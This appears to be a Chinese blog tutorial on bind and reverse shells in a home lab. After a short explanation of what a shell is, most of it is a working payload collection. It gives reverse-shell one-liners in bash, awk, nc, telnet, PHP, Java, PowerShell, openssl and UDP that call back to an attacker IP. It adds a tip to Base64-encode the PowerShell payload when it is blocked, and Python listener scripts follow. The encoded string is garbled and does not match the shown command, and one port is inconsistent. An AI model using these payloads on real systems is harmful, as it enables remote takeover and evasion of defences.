Above all
反弹 shell 有个反字,说明方向是不正常、不常规的。与之相对的是正向 shell。想了解反弹 shell 的机制逻辑,也需要从正向 shell 开始讲起。之所以需要用到正向 shell,是因为通过命令注入的时候,有时候会遇到服务器虽然执行了命令,但是没有回显,于是聪明的黑客就想到了执行一个命令,让服务器启动一个 shell,黑客连接这个 shell,相当于开了一个后门,这就是正向 shell。然而,正向 shell 在使用过程中存在缺陷,不太好用。于是聪明的黑客通过反弹 shell 的方式绕过了这些缺点。
但在真正开始了解正向 shell 和反弹 shell 这些概念之前,我们需要先知道:什么是 shell ?
Environment
受害者:
- 192.168.0.128 (port:8888)
- Thinkpad_T14p_Gen3
- Windows11家庭中文版_25H2_26200.6899
- Intel(R) Core(TM) Ultra 5 225H (14) @ 4.90 GHz
攻击机
- 192.168.0.1 (port:9999)
- VM_Pro_17.6.3 build-24583834
- Linux ubuntu 6.14.0-28-generic #28~24.04.1-Ubuntu SMP PREEMPT_DYNAMIC Fri Jul 25 10:47:01 UTC 2 x86_64 x86_64 x86_64 GNU/Linux)
什么是 shell
shell 是介于 系统内核(Kernel) 和 用户(User) 之间的用户应用层程序,它接收用户输入的命令,将其翻译成内核能理解的指令,再把内核的执行结果返回给用户。通常指的是命令行Shell(CLI),如 Linux 的 bash、Windows 的 cmd.exe。实际上图形界面 Shell(GUI)也被频繁使用,如 Windows 资源管理器、Linux 的 GNOME/KDE。
上面的话每个字都认识,一旦连起来是不是大脑就拒绝输入了🤪。叽里咕噜说了一堆,系统内核又是干什么的?shell 又是怎么配合系统内核工作的?
按照我个人的理解,内核是操作系统的核心,物理硬件只能理解高低电平代表的 01 信号,用户只能理解可读性较强的系统指令,而内核完成二进制信号和系统指令之间的“翻译”工作。举个例子。用户在 Linux 系统中输入指令 cat file.txt,物理硬件听不懂这是什么意思,于是系统内核掰开了揉碎了一步一步地教物理硬件要如何做:内核要求硬盘控制器读取 file.txt 对应的存储扇区,将磁头移动到目标扇区,将磁信号转为电信号,最终通过数据总线把文件数据传输到内存的指定空间(这里仅展示了硬盘读取这个环节的过程)。
现在我们对系统内核的工作过程有了初步的了解,那么这和 shell 有什么关系呢?
事实上,内核已经非常底层了,在内核中直接跑二进制代码(机器码),我等凡人也是看不懂的。如果将正在运行的操作系统比喻为一个“项目”,为了让我们能够便捷的使用操作系统,就需要一个“项目经理”将我们的系统命令拆解为具体的“需求”,然后根据“需求”调度不同的工具人来完成需求,最终让项目落地。以 python test.py 为例。当我们敲下这行命令并按下回车时,shell 开始进行需求识别“哦,这是要执行一个python程序”。然后 shell 抓来名叫解释器的工具人,给他找了个小单间(进程),让他在里面完成 test.py 脚本转换工作(程序代码转换为二进制机器码)。整个过程中,shell 只负责任务拆解(命令解析)和任务分配(进程调度),具体的业务行为交给专业的工具人去完成。
顺便一提,bash 中有“内部命令”和“外部命令”的区别。像
cat这种命令,对应了一个具体的文件,属于“外部命令”,而像cd这种命令直接嵌入在 shell 程序(如/bin/bash)中,没有单独的磁盘文件,属于“内部命令”。“外部命令”的功能是通用的(例如cat读取并输出文件),不依赖 shell 的具体实现,任何 shell(bash、zsh、sh)都能调用它。用 python 来类比的话,cat/ls是 bash 的标准库/第三方库,而cd/if/for是 bash 的关键字/内建函数。
最后用一个比喻来为这一小节收尾。如果把用户使用操作系统比喻为开车,那么 shell 就是用户手中的操作套件。这个套件中有方向盘、有油门刹车、有仪表盘、有电控面板。用户可以通过使用操作套件中的工具,来调度汽车的不同配件。你不需要懂得电车发动机和燃油发动机有什么区别,你只要会踩油门就能让车动起来。
为什么是 shell
系统控制接口有很多种,为什么偏爱 shell?因为它是目标系统最通用、最直接的命令执行接口。
-
shell 是所有类 Unix(Linux、BSD)和Windows系统中原生自带的控制接口,无需额外安装
-
shell 能直接对接系统核心功能,权限边界清晰(可以直接调用系统调用、操作文件、管理进程、查询网络)
-
其他接口要么不通用,要么功能有限。(1)若选数据库接口(如 MySQL 命令行):只能操作数据库,无法管理系统文件、进程,无法提权到系统层面。(2)若选应用程序接口(如 Web 后台管理界面):功能被应用限制(只能做后台允许的操作),且容易被日志记录、权限管控拦截。(3)若选远程桌面(如 RDP):目标系统可能未开启,且流量特征明显,容易被防火墙或安全设备检测到。
-
shell 支持灵活扩展,适配所有渗透场景。拿到基础 shell 后,攻击者可通过它上传脚本(如 Python 提权脚本)、植入后门(如反弹 shell 脚本)、开启其他服务(如 SSH)。无论是单机渗透、内网横向移动,还是持久化控制,shell 都能作为“基础载体”,适配不同攻击阶段的需求。
简单说:shell是目标系统的“原生控制终端”,相当于攻击者直接坐到了目标服务器的键盘前——既无需额外依赖,又能全面操作系统,其他任何接口都无法同时满足“通用、隐蔽、功能完整”这三个核心需求。
正向 shell
Attacker Target
+---------------+ (1) +---------------+
| 192.168.0.1 |------------------>>>| 192.168.0.128 |
| anyport |<<<------------------| 8888 (bash) |
+---------------+ (2) +---------------+
受害者上监听 8888 端口,将 /bin/bash 绑在这个端口。原本 shell 通过终端接收字符串,解析字符串执行系统命令。将 /bin.bash 绑定端口之后,shell 通过 8888 这个 tcp 端口接收字符串,将接收到的来自远程的字符串解析为系统命令,然后在本地执行。
nc -lvp 8888 -e /bin/bash
-l:代表入站,进入监听模式。-v:代表输出信息级别,启用 verbose 模式,显示详细的连接信息。-p 8888:指定监听的端口为 8888。-e /bin/bash:在建立连接后,将远程连接与本地的/bin/bash(命令行解释器)绑定,这意味着连接方可以直接控制本地的命令行。
接下来要用攻击机去正向连接这个 shell。因为想更加完整的了解中间的通信细节,这里选择手搓脚本而不是使用 powercat 等现成的工具。用 python 脚本起一个 tcp 连接,命令为 python shell_TCPserver.py 192.168.0.128 8888。脚本如下,感兴趣的可以在附件部分细读。
反弹 shell
上一小节验证了正向 shell 的可行性,但没有提到的是,正向 shell 其实有两个大问题。
其一,正向 shell 需要受害者的某个端口一直处于 open 状态,这种异常的端口开放行为容易被安全运维人员注意到。其二,正向 shell 需要提供一个稳定的寻址,如果受害者处于内网环境,攻击机无法通过 IP 直接连接到受害者就歇菜了。
有没有更加隐蔽、更加稳定的方法呢?
有的兄弟有的。我们可以使用反弹 shell。反弹 shell 就是让受害者主动连接攻击者的 IP,这个过程只需要攻击者主机上的某个端口保持开放就好了,具有很好的隐蔽性。同时,内网设备一般是可以直接访问外网的,只要攻击者有一个可供使用的公网 IP,就不用担心寻址的问题。
Attacker Target
+---------------+ (1) +---------------+
| 192.168.0.1 |<<<------------------| 192.168.0.128 |
| 9999 |------------------>>>| anyport(bash) |
+---------------+ (2) +---------------+
先运行手搓的 python 脚本,在攻击机上监听 tcp 端口 9999(python re_shell_TCPserver.py),然后在受害者上执行 bash -i >& /dev/tcp/192.168.0.1/9999 0>&1。
bash -i >& /dev/tcp/192.168.0.1/9999 0>&1
bash -i:bash是 Linux/Unix 系统中的命令解释器,-i参数表示启动一个交互式的 bash shell(允许用户输入命令并获得反馈)。>& /dev/tcp/192.168.0.1/9999:/dev/tcp/ip/port是 bash 提供的特殊文件(伪设备),用于与指定 IP(192.168.0.1)和端口(9999)建立 TCP 连接。>&表示将标准输出(stdout,文件描述符 1)和标准错误输出(stderr,文件描述符 2)重定向到这个 TCP 连接,即把 shell 的输出发送到远程主机。0>&1:0代表标准输入(stdin),&1表示引用标准输出的文件描述符。这部分的作用是将标准输入重定向到标准输出所指向的 TCP 连接,即让远程主机的输入作为当前 shell 的输入,从而实现双向交互。
TIPS:如何从 TIME_WAIT 状态快速释放 tcp 端口。
Get-NetTCPConnection | Where-Object { $_.LocalPort -eq 9999 } | Format-Table LocalAddress, LocalPort, State, OwningProcess
Stop-Process -Force -Id <OwningProcess_Id>
反弹 shell 的本质,就是建立一个由受害者设备发起的 tcp 连接。这个连接的通信需要是双向的,否则要么只能单向执行命令(看不到结果),或者被动的接收消息(需要配合其他手段执行命令(譬如 DNSlog 外带)。
花式反弹,只要是 TCP 就行
上面提到了反弹 shell 的本质是建立双向 tcp 连接。以此为基础,我们可以让反弹 shell 想怎么弹,就怎么弹。(ip、port 示例如下)
- attacker==192.168.0.1:9999
- victim====192.168.0.128
这里推荐一个在线反弹 shell 命令生成网站:http://www.nmd5.com/test/shell.html
使用Bash进行反弹
在攻击机上启动监听端口,在目标机上用 bash 启动反弹:
bash -i >& /dev/tcp/192.168.0.1/9999 0>&1
/bin/bash -i > /dev/tcp/192.168.0.1/9999 0<& 2>&1
exec 5<>/dev/tcp/192.168.0.1/9999;cat <&5 | while read line; do $line 2>&5 >&5; done
exec /bin/sh 0</dev/tcp/192.168.0.1/9999 1>&0 2>&0
0<&196;exec 196<>/dev/tcp/192.168.0.1/9999; sh <&196 >&196 2>&196
使用exec执行Shell的方式
在攻击机上启动监听端口,在目标机上用 exec 启动反弹:
exec 5<> /dev/tcp/192.168.0.1/9999; cat <&5 | while read line; do $line 2>&5 >&5; done
使用awk进行反弹
在攻击机上启动监听端口,在目标机上用 awk 启动反弹:
awk 'BEGIN {s = "/inet/tcp/0/192.168.0.1/9999"; while(42) { do{ printf "shell>" |& s; s |& getline c; if(c){ while ((c |& getline) > 0) print $0 |& s; close(c); } } while(c != "exit") close(s); }}' /dev/null
# 或者执行:
awk 'BEGIN{ip="192.168.0.1";port=9999;cmd="nc "ip" "port" 2>&1";while((cmd|getline c)>0){if(c=="exit")break;cmd_exec="bash -c \""c"\" 2>&1";while((cmd_exec|getline out)>0)print out|cmd;close(cmd_exec);print "shell>"|cmd;fflush(cmd)}close(cmd)}'
但 awk 好像有个问题,缓冲区不能实时刷新。这意味着执行的命令不会立刻被看到,需要在执行 exit 命令断开连接后统一输出。这里我没有完全复现成功。
使用nc进行反弹
在攻击机上启动监听端口,在目标机上用 nc 启动反弹:
nc -e /bin/bash 192.168.0.1 9999
使用telnet进行反弹
在攻击机上启动两个端口,一个用来输入,一个用来输出:
nc -lvp 4444
nc -lvp 5555
在目标机上用 telnet 启动反弹:
telnet 192.168.0.1 4444 | /bin/bash | telnet 192.168.0.1 5555
基于PHP的反弹
在攻击机上启动监听端口,在目标机上用 php 启动反弹:
php -r '$sock=fsockopen("192.168.0.1", 9999);$descriptorspec = array(0 => $sock,1 => $sock,2 => $sock);$process = proc_open("/bin/sh", $descriptorspec, $pipes);proc_close($process);'
基于 php 的反弹命令有些复杂。
基于Java的反弹
在目标机上编写一个 java 恶意类:
// ReShell.java
public class ReShell {
public static void main(String[] args) throws Exception {
Runtime r = Runtime.getRuntime();
String cmd[]= {"/bin/bash","-c","exec 5<>/dev/tcp/192.168.0.1/9999;cat <&5 | while read line; do $line 2>&5 >&5; done"};
Process p = r.exec(cmd);
p.waitFor();
}
}
然后编译运行
javac ReShell.java #编译
在攻击机上启动监听端口,在目标机上用 java 启动反弹:
java ReShell #执行
基于Powershell的反弹
在目标 Windows 主机的 PowerShell 中执行以下命令:
$client = New-Object System.Net.Sockets.TCPClient("192.168.0.1", 9999);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $client.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + "PS " + (pwd).Path + "> ";$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush();};$client.Close()
若直接执行被拦截,可将命令 Base64 编码后执行(PowerShell 支持 Base64 解码执行):
$command = '$client = New-Object System.Net.Sockets.TCPClient("192.168.0.1", 9999);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $client.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + "PS " + (pwd).Path + "> ";$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush();};$client.Close()'
$bytes = [System.Text.Encoding]::Unicode.GetBytes($command)
$base64 = [System.Convert]::ToBase64String($bytes)
Write-Output "$base64"
# JABjAGwAaQBlAG4AdAAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAU3lzdGVtLlN5c3RlbS5Tb2NrZXRzLlRDUExpZW50KCJTMTkyLjE2OC4wLjEiLCA5OTk5KTsAJABzAHQAcgBlAGEAbQAgAD0AIABkAGUAYwBvAG0AdQB0AGUALgBHAGUAdABTAHQAcgBlAGEAbQgpOwBbAGIAdAB5AGUAJ10AJABiAHkAdABlAHMAIAA9ACAAMAAuAC4ANjU1MzUAewA6ADAAfTsAdwBoAaQBsAGUAKAAoACQAaQAgAD0AIABkAGUAYwBvAG0AdQB0AGUALgBSAGUAYQBkACgAJABiAHkAdABlAHMAIAApACkAIAAtAG4AZQA9ACAAMAApAHsAOwAkAGQAYQB0AGEAIAA9ACAAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAALQBUAHkAbgBlAE4AYQBtAGUAIABTeXN0ZW0ALgBUAGUAeAB0AC4AQQBTQ0lJAEVuAGMAbwBkAGkAbgBnACkALgBHAGUAdABTAHQAcgBpAG4AZwAoACQAQgB5AHQAZQBzACwAMAAsACAAJABpACkAOwAkAHMAZQBuAGQAYgBhAGMAawAgAD0AIAAoAGkAZQB4ACAAJABkAGEAdABhACAAMgA+ACYAMQAgAHwAIABPAHUAdAAtAFN0AHIAaW5nICk7ACQAcwBlAG4AZABiAGEAYwBrADIAPAAgAD0AIAAkAHMAZQBuAGQAYgBhAGMAawAgACsAIAAiAFAAUwAgACIAIAArACAAKABwAHcAZAApAC4AUAByAGEAdAAgACsAIAAiAD4AIAAiOwAkAHMAZQBuAGQAYgB5AHQAZQA9ACAAKABbAHQAZQB4AHQALgBlAG4AYwBvAGQAaQBuAGcAXQA6ADoAQQBTAEMASQBJACkALgBHAGUAdABCAHkAdABlAHMAKAAkAHMAZQBuAGQAYgBhAGMAawAyACk7ACQAcwB0AHIAZQBhAG0ALgBXAHIAaQB0AGUAKAAkAHMAZQBuAGQAYgB5AHQAZQAsADAALAAkAHMAZQBuAGQAYgB5AHQAZQAuAEwAZQBnAG4AdGgpOwAkAHMAdAByAGUAYQBtAC4ARgBsAHUAcwBoACgAKQA7AH07ACQAY2xpZW50AC4AQwBsAG8AcwBlACgAKQA=
执行编码后的命令:powershell -EncodedCommand 生成的Base64字符串
powershell -EncodedCommand JABjAGwAaQBlAG4AdAAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAU3lzdGVtLlN5c3RlbS5Tb2NrZXRzLlRDUExpZW50KCJTMTkyLjE2OC4wLjEiLCA5OTk5KTsAJABzAHQAcgBlAGEAbQAgAD0AIABkAGUAYwBvAG0AdQB0AGUALgBHAGUAdABTAHQAcgBlAGEAbQgpOwBbAGIAdAB5AGUAJ10AJABiAHkAdABlAHMAIAA9ACAAMAAuAC4ANjU1MzUAewA6ADAAfTsAdwBoAaQBsAGUAKAAoACQAaQAgAD0AIABkAGUAYwBvAG0AdQB0AGUALgBSAGUAYQBkACgAJABiAHkAdABlAHMAIAApACkAIAAtAG4AZQA9ACAAMAApAHsAOwAkAGQAYQB0AGEAIAA9ACAAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAALQBUAHkAbgBlAE4AYQBtAGUAIABTeXN0ZW0ALgBUAGUAeAB0AC4AQQBTQ0lJAEVuAGMAbwBkAGkAbgBnACkALgBHAGUAdABTAHQAcgBpAG4AZwAoACQAQgB5AHQAZQBzACwAMAAsACAAJABpACkAOwAkAHMAZQBuAGQAYgBhAGMAawAgAD0AIAAoAGkAZQB4ACAAJABkAGEAdABhACAAMgA+ACYAMQAgAHwAIABPAHUAdAAtAFN0AHIAaW5nICk7ACQAcwBlAG4AZABiAGEAYwBrADIAPAAgAD0AIAAkAHMAZQBuAGQAYgBhAGMAawAgACsAIAAiAFAAUwAgACIAIAArACAAKABwAHcAZAApAC4AUAByAGEAdAAgACsAIAAiAD4AIAAiOwAkAHMAZQBuAGQAYgB5AHQAZQA9ACAAKABbAHQAZQB4AHQALgBlAG4AYwBvAGQAaQBuAGcAXQA6ADoAQQBTAEMASQBJACkALgBHAGUAdABCAHkAdABlAHMAKAAkAHMAZQBuAGQAYgBhAGMAawAyACk7ACQAcwB0AHIAZQBhAG0ALgBXAHIAaQB0AGUAKAAkAHMAZQBuAGQAYgB5AHQAZQAsADAALAAkAHMAZQBuAGQAYgB5AHQAZQAuAEwAZQBnAG4AdGgpOwAkAHMAdAByAGUAYQBtAC4ARgBsAHUAcwBoACgAKQA7AH07ACQAY2xpZW50AC4AQwBsAG8AcwBlACgAKQA=
加密反弹Shell(openssl)
在攻击机上生成证书
openssl req -x509 -newkey rsa:4096 -keyout re_shell_key.pem -out re_shell_cert.pem -days 365 -nodes
然后输入证书信息,国家代码输入 CN,其他随意。我用 Windows 系统生成的,两个文件生成在 C:\Windows\System32 路径下。
在攻击机上监听 9999 端口(需要保证命令执行路径下有之前生成的两个文件 re_shell_key.pem、re_shell_cert.pem)
openssl s_server -quiet -key re_shell_key.pem -cert re_shell_cert.pem -port 9999
在目标机上用 openssl 执行反弹。
mkfifo /tmp/s; /bin/bash -i < /tmp/s 2>&1 | openssl s_client -quiet -connect 192.168.0.1:9999 > /tmp/s;rm /tmp/s
反弹 shell 成功。
骗你的,用 UDP 也可以
# Victim:
bash -i >& /dev/udp/192.168.0.1/9999 0>&1
# Listener:
nc -u -lvp 8080
这里我还是用的手搓脚本在攻击机上起了一个 UDP server。python re_shell_UDPserver.py
实验下来,通信极其不稳定。物理机和同一机器上的虚拟机进行通信尚且如此,都不敢想真实网络环境下的通信质量。
(下面是通信过程 :P)
PS C:\_Temp\re_shell>python .\re_shell_UDPserver.py
UDP listener started, waiting for reverse shell connection... Port: 9999
Waiting for client connection...
Received UDP reverse shell connection from ('192.168.0.128', 34666)!
You can enter commands (type 'exit' to disconnect):
ubuntu@ubuntu:~$ whoami
w
17:34:34 up 15:55, 2 users, load average: 0.00, 0.00, 0.00
USER TTY 来自 LOGIN@ IDLE JCPU PCPU WHAT
ubuntu 192.168.0.1 11:39 32:27m 0.00s ? sshd: ubuntu [priv]
gdm tty1 - 四09 32:22m 1:48 0.01s /usr/libexec/gsd-printer
ubuntu@ubuntu:~$ pwd
p
p:未找到命令
ubuntu@ubuntu:~$ ls
l
公共/ 视频/ 文档/ 音乐/ paperless-ngx/ ReShell.java
模板/ 图片/ 下载/ 桌面/ ReShell.class snap/
ubuntu@ubuntu:~$
参考文档
- [1] yyyyyyy.r, [CSDN]反弹shell基础, https://blog.csdn.net/m0_74849202/article/details/147629513
附件A:shell_TCPserver.py
# shell_TCPserver.py
import socket
import sys
import signal
from argparse import ArgumentParser
def signal_handler(signal, frame):
"""Handle Ctrl+C signal for graceful exit"""
print("\nInterrupt signal received, exiting program...")
sys.exit(0)
def main():
# Register signal handler to catch Ctrl+C
signal.signal(signal.SIGINT, signal_handler)
# Parse command line arguments
parser = ArgumentParser(description='Remote Command Execution Client')
parser.add_argument('ip', help='Target host IP address')
parser.add_argument('port', type=int, help='Target host port number')
args = parser.parse_args()
target_ip = args.ip
target_port = args.port
try:
# Create TCP connection
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.connect((target_ip, target_port))
print(f"Connected to {target_ip}:{target_port}")
while True:
# Read user input
user_input = input("shell> ").strip()
# Remove all \r and non-printable control characters
clean_input = ''.join([c for c in user_input if c not in '\r' and ord(c) >= 0x20])
# Send command (append Linux-style \n newline character)
sock.sendall(f"{clean_input}\n".encode('utf-8'))
# Receive response (read line by line until newline character)
response = b""
while True:
data = sock.recv(1024)
if not data:
print("Connection closed")
return
response += data
if b'\n' in response:
break # Exit loop after receiving a complete line of response
# Decode and print response (remove trailing newline for clean output)
print(response.decode('utf-8').rstrip('\n'))
except ConnectionRefusedError:
print("Connection refused. Please check if the controlled machine is listening on the specified port.")
except Exception as e:
print(f"ERROR: {str(e)}")
finally:
try:
sock.close()
except:
pass
print("Connection closed")
if __name__ == "__main__":
main()
附件B:re_shell_TCPserver.py
# re_shell_TCPserver.py
import socket
import sys
import threading
def receive_data(client_socket):
"""Continuously receive data from the client (controlled machine) and print it"""
while True:
try:
data = client_socket.recv(1024)
if not data:
print("\nConnection closed")
break
# Print received content (shell output)
print(data.decode('utf-8'), end='', flush=True)
except Exception as e:
print(f"\nError receiving data: {e}")
break
def send_commands(client_socket):
"""Continuously read user input and send it to the client (controlled machine)"""
while True:
try:
# Get user input commands (e.g., ls, pwd)
command = input()
if command.lower() == 'exit':
print("Disconnecting...")
client_socket.close()
break
# Send command (add newline to simulate pressing Enter in the shell)
client_socket.sendall((command + '\n').encode('utf-8'))
except Exception as e:
print(f"\nError sending command: {e}")
break
# Create TCP socket
server_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
server_socket.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1) # Allow port reuse
server_socket.bind(('0.0.0.0', 9999))
server_socket.listen(5)
print("TCP listener started, waiting for reverse shell connection... Port: 9999")
# Accept connection
client_socket, client_addr = server_socket.accept()
print(f"Connected to reverse shell from {client_addr}!")
print("You can enter commands (type 'exit' to disconnect):")
# Start threads for receiving and sending
receive_thread = threading.Thread(target=receive_data, args=(client_socket,))
receive_thread.daemon = True # Subthread exits when main thread exits
receive_thread.start()
send_commands(client_socket) # Main thread handles command sending
# Close connections
client_socket.close()
server_socket.close()
附件C:re_shell_UDPserver.py
# re_shell_UDPserver.py
import socket
import sys
import threading
def receive_data(udp_socket, client_addr):
"""Continuously receive data from client and print"""
while True:
try:
# Receive data with buffer size 1024 bytes
data, addr = udp_socket.recvfrom(1024)
# Verify data source matches connected client
if addr != client_addr:
continue
if not data:
print("\nConnection closed")
break
# Print received content (shell output)
print(data.decode('utf-8'), end='', flush=True)
except Exception as e:
print(f"\nError receiving data: {e}")
break
def send_commands(udp_socket, client_addr):
"""Continuously read user input and send to client"""
while True:
try:
# Get command input from user (e.g., ls, pwd)
command = input()
if command.lower() == 'exit':
print("Disconnecting...")
# Send exit command to client
udp_socket.sendto(command.encode('utf-8'), client_addr)
break
# Send command (add newline to simulate enter key in shell)
udp_socket.sendto((command + '\n').encode('utf-8'), client_addr)
except Exception as e:
print(f"\nError sending command: {e}")
break
# Create UDP socket
udp_socket = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
udp_socket.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1) # Allow port reuse
udp_socket.bind(('0.0.0.0', 9999))
print("UDP listener started, waiting for reverse shell connection... Port: 9999")
# Wait for first communication from client to get its address
print("Waiting for client connection...")
data, client_addr = udp_socket.recvfrom(1024)
print(f"Received UDP reverse shell connection from {client_addr}!")
print("You can enter commands (type 'exit' to disconnect):")
# Print first received data
print(data.decode('utf-8'), end='', flush=True)
# Start thread for receiving data
receive_thread = threading.Thread(target=receive_data, args=(udp_socket, client_addr))
receive_thread.daemon = True # Subthread exits when main thread exits
receive_thread.start()
# Main thread handles command sending
send_commands(udp_socket, client_addr)
# Close socket
udp_socket.close()